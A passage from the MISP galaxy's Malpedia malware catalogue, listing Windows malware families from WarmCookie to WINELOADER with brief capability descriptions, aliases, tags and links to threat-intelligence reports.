https://malpedia.caad.fkie.fraunhofer.de/details/win.warlock
https://t0asts.com/2025/08/16/warlock-ransomware.html
https://www.bleepingcomputer.com/news/security/colt-telecom-attack-claimed-by-warlock-ransomware-data-up-for-sale/

WarmCookie

WarmCookie is backdoor that is capable of executing commands reading/writing files and

capturing screenshots. It communicates with a command and control (C&C) server via HTTP to receive further instructions and exfiltrate stolen data. It is commonly distributed through phishing campaigns and malicious downloads, targeting unsuspecting users to infiltrate systems undetected.

The tag is: *misp-galaxy:malpedia="WarmCookie"*

WarmCookie is also known as:

- Badspace
- Carrotstick
- QUICKBIND

Table 5562. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.warmcookie
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar
https://hunt.io/blog/from-warm-to-burned-shedding-light-on-updated-warmcookie-infrastructure
https://darktrace.com/blog/disarming-the-warmcookie-backdoor-darktraces-oven-ready-solution
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/
https://github.com/X-Junior/Malware-String-Decryptor-Scripts/blob/main/Badspace/badspace.py
https://vertex.link/blogs/categorizing-software-with-code-families/
https://www.elastic.co/security-labs/revisiting-warmcookie
https://github.com/dstepanic/slides/blob/main/VBCONF_2024/VB2024%20-%20Getting%20Cozy%20with%20Milk%20and%20WARMCOOKIES.pdf
https://community.emergingthreats.net/t/sigs-w32-badspace-backdoor/1630
https://blog.talosintelligence.com/warmcookie-analysis/
https://x.com/GenThreatLabs/status/1840762181668741130
https://www.gdatasoftware.com/blog/2024/06/37947-badspace-backdoor
https://www.elastic.co/security-labs/dipping-into-danger
https://github.com/X-Junior/Malware-IDAPython-Scripts/blob/main/Badspace/badspace.py
https://go.recordedfuture.com/hubfs/reports/cta-2025-0130.pdf
https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/
https://securityintelligence.com/x-force/hive0137-on-ai-journey/

Warp Stealer

According to Seqrite, this is a fork of Stealerium that has high overlap with its originating codebase. Main changes include removal of Discord web hooks (for the sake of using Telegram) and

rebranding away from Stealerium (string removal).

The tag is: *misp-galaxy:malpedia="Warp Stealer"*

Warp Stealer is also known as:

Table 5563. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.warp_stealer
https://www.seqrite.com/documents/en/white-papers/new-warp-malware-drops-modified-stealerium-infostealer.pdf

WastedLoader

This malware looks similar to WastedLocker, but the ransomware component is missing.

The tag is: *misp-galaxy:malpedia="WastedLoader"*

WastedLoader is also known as:

Table 5564. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedloader
https://www.bitdefender.com/files/News/CaseStudies/study/397/Bitdefender-PR-Whitepaper-RIG-creat5362-en-EN.pdf
https://killingthebear.jorgetesta.tech/actors/evil-corp

WastedLocker

WastedLocker is a ransomware detected to be in use since May 2020 by EvilCorp. The ransomware name is derived from the filename that it creates which includes an abbreviation of the victim's name and the string 'wasted'. WastedLocker is protected with a custom crypter, referred to as CryptOne by Fox-IT InTELL. On examination, this crypter turned out to be very basic and was used also by other malware families such as: Netwalker, Gozi ISFB v3, ZLoader and Smokeloader. The crypter mainly contains junk code to increase entropy of the sample and hide the actual code.

The tag is: *misp-galaxy:malpedia="WastedLocker"*

WastedLocker is also known as:

Table 5565. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedlocker
https://www.bitdefender.com/files/News/CaseStudies/study/397/Bitdefender-PR-Whitepaper-RIG-creat5362-en-EN.pdf

https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/

https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/

https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/

https://www.bleepingcomputer.com/news/security/evil-corp-switches-to-hades-ransomware-to-evade-sanctions/

https://www.bleepingcomputer.com/news/security/insurance-giant-cna-hit-by-new-phoenix-cryptolocker-ransomware/

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://securelist.com/wastedlocker-technical-analysis/97944/

https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions

https://ioc.hatenablog.com/entry/2020/08/16/132853

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

https://www.bbc.com/news/world-us-canada-53195749

https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/

https://kc.mcafee.com/corporate/index?page=content&id=KB93302&locale=en_US

https://blog.malwarebytes.com/threat-spotlight/2020/07/threat-spotlight-wastedlocker-customized-ransomware/

http://www.secureworks.com/research/threat-profiles/gold-drake

https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

https://killingthebear.jorgetesta.tech/actors/evil-corp

https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://unit42.paloaltonetworks.com/wastedlocker/

https://www.bleepingcomputer.com/news/security/garmin-outage-caused-by-confirmed-wastedlocker-ransomware-attack/

<a href="https://seguranca-informatica.pt/wastedlocker-malware-analysis/<mark>.YfAaIRUITTY.twitter">https://seguranca-informatica.pt/wastedlocker-malware-analysis/</mark>.YfAaIRUITTY.twitter

https://news.sophos.com/en-us/2020/08/04/wastedlocker-techniques-point-to-a-familiar-heritage/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://areteir.com/wp-content/uploads/2020/07/Ransomware-WastedLocker-1.pdf
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://blog.talosintelligence.com/2020/07/wastedlocker-emerges.html
https://symantec.broadcom.com/hubfs/SED-Threats-Financial-Sector.pdf
https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp
https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries
https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/
https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd
https://www.securonix.com/web/wp-content/uploads/2020/08/Securonix_Threat_Research_WastedLocker_Ransomware.pdf
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://unit42.paloaltonetworks.com/atoms/wastedlocker-ransomware/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html
https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/
https://labs.sentinelone.com/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/
https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77

Waterbear

Waterbear, also known as DbgPrint in its earlier export function, has been active since 2009. The malware is presumably developed by the BlackTech APT group and adopts advanced anti-analysis and forward-thinking design. These designs include a sophisticated shellcode stager, the ability to load plugins on-the-fly, and overall evasiveness should the C2 server fail to respond with a valid session key.

The tag is: *misp-galaxy:malpedia="Waterbear"*

Waterbear is also known as:

- DbgPrint

- EYEWELL

Table 5566. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.waterbear
https://www.youtube.com/watch?v=6SDdUVejR2w
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_2_ycy-aragorn_en.pdf
https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf
https://daydaynews.cc/zh-tw/technology/297265.html
https://teamt5.org/tw/posts/mjib-holds-briefing-on-chinese-hackers-attacks-on-taiwanese-government-agencies/
https://www.zdnet.com/article/waterbear-malware-used-in-attack-wave-against-government-agencies/
https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html
https://www.mandiant.com/resources/blog/chinese-espionage-tactics

WaterMiner

The tag is: *misp-galaxy:malpedia="WaterMiner"*

WaterMiner is also known as:

Table 5567. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.waterminer
https://blog.minerva-labs.com/waterminer-a-new-evasive-crypto-miner

WaterSpout

The tag is: *misp-galaxy:malpedia="WaterSpout"*

WaterSpout is also known as:

Table 5568. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.waterspout
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

Wave Stealer

Wave Stealer is an infostealer offered as Malware-as-a-Service by a French-speaking actor called "Wave". The threat actor has strong relationships with Nova Stealer's and Epsilon Stealer's groups. It's capabilities include passwords and crypto-wallet stealing, discord and telegram injection, and backup codes finder.

The tag is: *misp-galaxy:malpedia="Wave Stealer"*

Wave Stealer is also known as:

Table 5569. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wavestealer
https://montysecurity.medium.com/from-osint-to-disk-wave-stealer-analysis-2010d2e340f0
https://coolaudit.com/new-wavestealer-spotted-in-wild-stealing-login-credentials-credit-card-data/

WavyExfiller

The tag is: *misp-galaxy:malpedia="WavyExfiller"*

WavyExfiller is also known as:

Table 5570. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wavy_exfiller
https://www.welivesecurity.com/en/eset-research/separating-bee-panda-ceranakeeper-making-beeline-thailand/

WebbyTea

WebbyTea is an HTTP(S) downloader that uses AES for C&C trafic encryption.

It sends detailed information about the victim's environment, like proxy settings, system instalation date, Windows product name and version, manufacturer, product name, system boot time, time zone, computer name, user name, current time and a list of currently running processes. Data sent to the C&C server consists of the prefix "ci", a 16-characters long hexadecimal string representing the victim ID and an encrypted data about the victim's system. After the payload is acquired from the server and successfully injected in a newly created explorer.exe process, the malware responds back with the same victim ID having the prefix changed to "cs".

The internal DLL name of the native WebbyTea is usually pe64.dll or webT64.dll (from which its name is derived).

The usual payload associated with WebbyTea is SnatchCrypto.

The tag is: *misp-galaxy:malpedia="WebbyTea"*

WebbyTea is also known as:

Table 5571. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webbytea
https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/
https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf

WebC2-AdSpace

The tag is: *misp-galaxy:malpedia="WebC2-AdSpace"*

WebC2-AdSpace is also known as:

Table 5572. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_adspace
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Ausov

The tag is: *misp-galaxy:malpedia="WebC2-Ausov"*

WebC2-Ausov is also known as:

Table 5573. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ausov
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Bolid

The tag is: *misp-galaxy:malpedia="WebC2-Bolid"*

WebC2-Bolid is also known as:

Table 5574. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_bolid
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Cson

The tag is: *misp-galaxy:malpedia="WebC2-Cson"*

WebC2-Cson is also known as:

Table 5575. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_cson
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-DIV

The tag is: *misp-galaxy:malpedia="WebC2-DIV"*

WebC2-DIV is also known as:

Table 5576. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_div
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-GreenCat

The tag is: *misp-galaxy:malpedia="WebC2-GreenCat"*

WebC2-GreenCat is also known as:

Table 5577. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_greencat
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Head

The tag is: *misp-galaxy:malpedia="WebC2-Head"*

WebC2-Head is also known as:

Table 5578. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_head
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Kt3

The tag is: *misp-galaxy:malpedia="WebC2-Kt3"*

WebC2-Kt3 is also known as:

Table 5579. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_kt3
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Qbp

The tag is: *misp-galaxy:malpedia="WebC2-Qbp"*

WebC2-Qbp is also known as:

Table 5580. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_qbp
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Rave

The tag is: *misp-galaxy:malpedia="WebC2-Rave"*

WebC2-Rave is also known as:

Table 5581. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_rave
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Table

The tag is: *misp-galaxy:malpedia="WebC2-Table"*

WebC2-Table is also known as:

Table 5582. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_table
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-UGX

The tag is: *misp-galaxy:malpedia="WebC2-UGX"*

WebC2-UGX is also known as:

Table 5583. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ugx
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Yahoo

The tag is: *misp-galaxy:malpedia="WebC2-Yahoo"*

WebC2-Yahoo is also known as:

Table 5584. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_yahoo
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebMonitor RAT

On its website, Webmonitor RAT is described as 'a very powerful, user-friendly, easy-to-setup and

state-of-the-art monitoring tool. Webmonitor is a fully native RAT, meaning it will run on all Windows versions and languages starting from Windows XP and up, and perfectly compatible with all crypters and protectors.' Unit42 notes in their analysis that it is offered as C2-as-a-service and raises the controversial aspect that the builder allows to create client binaries that will not show any popup or dialogue during installation or while running on a target system.

The tag is: *misp-galaxy:malpedia="WebMonitor RAT"*

WebMonitor RAT is also known as:

- RevCode

Table 5585. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webmonitor
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-actors-target-comm-apps-such-as-zoom-slack-discord
https://revcode.se/product/webmonitor/
https://researchcenter.paloaltonetworks.com/2018/04/unit42-say-cheese-webmonitor-rat-comes-c2-service-c2aas/
https://krebsonsecurity.com/2019/04/whos-behind-the-revcode-webmonitor-rat/
https://krabsonsecurity.com/2020/09/04/bitrat-pt-2-hidden-browser-socks5-proxy-and-unknownproducts-unmasked/

WeControl

The tag is: *misp-galaxy:malpedia="WeControl"*

WeControl is also known as:

Table 5586. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wecontrol
https://unit42.paloaltonetworks.com/westeal/

WellMess

WellMess is A Remote Access Trojan written in GoLang and .NET. It has hard-coded User-Agents. Attackers deploy WellMess using separate tools which also allow lateral movement, for example "gost". Command and Control traffic is handled via HTTP using the Set-Cookie field and message body.

The tag is: *misp-galaxy:malpedia="WellMess"*

WellMess is also known as:

Table 5587. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wellmess
https://blog.talosintelligence.com/2020/08/attribution-puzzle.html
https://www.lac.co.jp/lacwatch/pdf/20180614_cecreport_vol3.pdf
https://community.riskiq.com/article/541a465f/description
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b
https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://us-cert.cisa.gov/sites/default/files/publications/AA21-116A_Russian_Foreign_Intelligence_Service_Cyber_Operations_508C.pdf
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf
https://www.botconf.eu/wp-content/uploads/2018/12/2018-Y-Ishikawa-S-Nagano-Lets-go-with-a-Go-RAT-_final.pdf
https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://us-cert.cisa.gov/ncas/alerts/aa21-116a
https://censys.com/advanced-persistent-infrastructure-tracking/
https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html

WeSteal

The tag is: *misp-galaxy:malpedia="WeSteal"*

WeSteal is also known as:

Table 5588. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.westeal
https://unit42.paloaltonetworks.com/westeal/

WhiskerSpy

The tag is: *misp-galaxy:malpedia="WhiskerSpy"*

WhiskerSpy is also known as:

Table 5589. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.whiskerspy
https://www.trendmicro.com/en_us/research/23/b/earth-kitsune-delivers-new-whiskerspy-backdoor.html

WhisperGate

Destructive malware deployed against targets in Ukraine in January 2022.

The tag is: *misp-galaxy:malpedia="WhisperGate"*

WhisperGate is also known as:

- PAYWIPE

Table 5590. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.whispergate
https://inquest.net/blog/2022/02/10/380-glowspark
https://twitter.com/Libranalysis/status/1483128221956808704
https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/
https://stairwell.com/news/whispers-in-the-noise-microsoft-ukraine-whispergate/
https://csirt-mon.wp.mil.pl/pl/articles6-aktualnosci/analysis-cyberattack-ukrainian-government-resources/
https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/Debugging%20MBR%20-%20IDA%20+%20Bochs%20Emulator/Debugging%20MBR%20-%20IDA%20+%20Bochs%20Emulator.md
https://blogs.blackberry.com/en/2022/01/threat-thursday-whispergate-wiper
https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf
https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/
https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/
https://www.splunk.com/en_us/blog/security/threat-advisory-strt-ta02-destructive-software.html

https://www.cisa.gov/uscert/sites/default/files/publications/AA22-057A_Destructive_Malware_Targeting_Organizations_in_Ukraine.pdf

https://www.bitdefender.com/blog/hotforsecurity/five-things-you-need-to-know-about-the-cyberwar-in-ukraine/

https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine

https://www.crowdstrike.com/blog/lessons-from-past-cyber-operations-against-ukraine/

https://github.com/OALabs/Lab-Notes/blob/main/WhisperGate/WhisperGate.ipynb

https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks

https://zetter.substack.com/p/hackers-were-in-ukraine-systems-months

https://thehackernews.com/2022/02/putin-warns-russian-critical.html

https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

https://www.brighttalk.com/webcast/15591/534324

https://cert.gov.ua/article/18101

https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023

https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/

https://www.cisa.gov/uscert/ncas/alerts/aa22-057a

https://info.cyborgsecurity.com/hubfs/Emerging%20Threats/WhisperGate%20Malware%20Update%20-%20Emerging%20Threat.pdf

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html

https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/

https://www.crowdstrike.com/blog/how-crowdstrike-protects-against-data-wiping-malware/

https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview

https://www.recordedfuture.com/whispergate-malware-corrupts-computers-ukraine/

https://twitter.com/nunohaien/status/1484088885575622657

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/return-of-pseudo-ransomware.html

https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/

https://blog.gigamon.com/2022/01/28/focusing-on-left-of-boom/

https://rxored.github.io/post/analysis/whispergate/whispergate/

https://therecord.media/second-data-wiper-attack-hits-ukraine-computer-networks/

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?

https://lifars.com/2022/01/a-detailed-analysis-of-whispergate-targeting-ukrainian-organizations/

https://www.crowdstrike.com/blog/who-is-ember-bear/

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/update-on-whispergate-destructive-malware-targeting-ukraine.html

https://www.youtube.com/watch?v=Ek3URIaC5O8

https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf

https://therecord.media/uk-sanctions-gru-personnel-accused-murder-civilians-ukraine

https://www.splunk.com/en_us/blog/security/threat-advisory-strt-ta02-destructive-software.html?splunk

https://unit42.paloaltonetworks.com/atoms/ruinousursa/

https://blogs.microsoft.com/on-the-issues/2022/01/15/mstic-malware-cyberattacks-ukraine-government/

https://www.secureworks.com/blog/whispergate-not-notpetya

https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat

https://www.justice.gov/opa/pr/russian-national-charged-conspiring-russia-military-intelligence-destroy-ukrainian

https://www.secureworks.com/blog/disruptive-attacks-in-ukraine-likely-linked-to-escalating-tensions

https://www.youtube.com/watch?v=mrTdSdMMgnk

https://go.recordedfuture.com/hubfs/reports/pov-2022-0127.pdf

https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/

https://twitter.com/HuskyHacksMK/status/1482876242047258628

https://www.youtube.com/watch?v=2nd-f1dIfD4

https://intel471.com/blog/russia-ukraine-conflict-cybercrime-underground

https://zetter.substack.com/p/dozens-of-computers-in-ukraine-wiped

https://maxkersten.nl/binary-analysis-course/malware-analysis/dumping-whispergates-wiper-from-an-eazfuscator-obfuscated-loader/

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd

https://www.cadosecurity.com/resources-for-dfir-professionals-responding-to-whispergate-malware/

https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf

https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/

https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3

https://www.elastic.co/fr/security-labs/operation-bleeding-bear

https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa/

https://twitter.com/knight0x07/status/1483401072102502400
https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/
https://www.netskope.com/blog/netskope-threat-coverage-whispergate
https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html
https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf
https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html
https://blogs.blackberry.com/en/2022/02/threat-spotlight-whispergate-wiper-wreaks-havoc-in-ukraine
https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation

WhiteBird

According to Dr.Web, WhiteBird is a backdoor written in C++ and designed to operate in both 32-bit and 64-bit Microsoft Windows operating systems. The configuration is encrypted with a single byte XOR key. An interesting feature is that the malware can be restricted to operate only within certain "working_hours" with a granularity of one minute.

The tag is: *misp-galaxy:malpedia="WhiteBird"*

WhiteBird is also known as:

Table 5591. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.whitebird
https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf
https://st.drweb.com/static/new-www/news/2020/september/tek_rf_article_en.pdf

WhiteBlackCrypt

The tag is: *misp-galaxy:malpedia="WhiteBlackCrypt"*

WhiteBlackCrypt is also known as:

- WARYLOOK

Table 5592. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.whiteblackcrypt

https://sebdraven.medium.com/whisperkill-vs-whiteblackcrypt-un-petit-soucis-de-fichiers-9c4dcd013316
https://www.checkmal.com/video/read/3605/

WhiteSnake Stealer

WhiteSnake Stealer, discovered in February 2022, is a sophisticated .NET data-stealing malware that targets browsers, applications, and crypto wallets.

The builder can build payloads in different file formats such as EXE, SCR, COM, CMD, BAT, VBS, PIF, WSF, .hta, MSI, PY, DOC, DOCM, XLS, XLL, XLSM. Some of these (python, bash) allow the malware to run on Linux systems.

The stealer has two execution methods:

- Non-resident - the stealer auto-deletes itself after successful execution
- Resident - the stealer beacons out to the C2 (possibly in the TOR network)

WhiteSnake Stealer can gather system information, execute remote commands, spread through USB drives, and perform tasks like keylogging, file management, and webcam access.

The tag is: *misp-galaxy:malpedia="WhiteSnake Stealer"*

WhiteSnake Stealer is also known as:

Table 5593. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.whitesnake
https://news.drweb.com/show/?i=14823&lng=en&c=5
https://intezer.com/blog/research/babble-babble-babble-babble-babble-babble-babbleloader/
https://russianpanda.com/2023/07/04/WhiteSnake-Stealer-Malware-Analysis/
https://www.infinitumit.com.tr/en/white-snake-stealer-report/
https://bazaar.abuse.ch/sample/5066eca9c7309af16c882ffae79ceee93d5c8a8bcfe3726455c9b5589a492553/

WikiLoader

The tag is: *misp-galaxy:malpedia="WikiLoader"*

WikiLoader is also known as:

- WailingCrab

Table 5594. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.wikiloader
https://github.com/VenzoV/MalwareAnalysisReports/blob/main/WikiLoader/WikiLoader%20notepad.md
https://twitter.com/threatinsight/status/1679864625544978432
https://github.com/VenzoV/MalwareAnalysisReports/blob/main/WikiLoader/WikiLoader%20Shellcode%20pt2.md
https://securityintelligence.com/x-force/wailingcrab-malware-misues-mqtt-messaging-protocol/
https://www.proofpoint.com/us/blog/threat-insight/out-sandbox-wikiloader-digs-sophisticated-evasion
https://twitter.com/JAMESWT_MHT/status/1712783250446328114?t=iLKXzsZuS1TTa0i9sZFkQA&s=19
https://github.com/VenzoV/MalwareAnalysisReports/blob/main/WikiLoader/WikiLoader%20Shellcode%20pt3.md

WildFire

The tag is: *misp-galaxy:malpedia="WildFire"*

WildFire is also known as:

Table 5595. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wildfire

WinDealer

Information stealer used by threat actor LuoYu.

The tag is: *misp-galaxy:malpedia="WinDealer"*

WinDealer is also known as:

Table 5596. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.windealer
https://cocomelonc.github.io/book/2023/12/13/malwild-book.html
https://securelist.com/windealer-dealing-on-the-side/105946/
https://blogs.jpcert.or.jp/en/2021/10/windealer.html
https://mssplab.github.io/threat-hunting/2023/05/08/malware-analysis-windealer.html
https://securelist.com/windealer-dealing-on-the-side/105946
https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf

https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malware
https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_7_leon-niwa-ishimaru_en.pdf

WINELOADER

The tag is: *misp-galaxy:malpedia="WINELOADER"*

WINELOADER is also known as:

Table 5597. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wineloader
https://twitter.com/SinghSoodeep/status/1763808104221737156
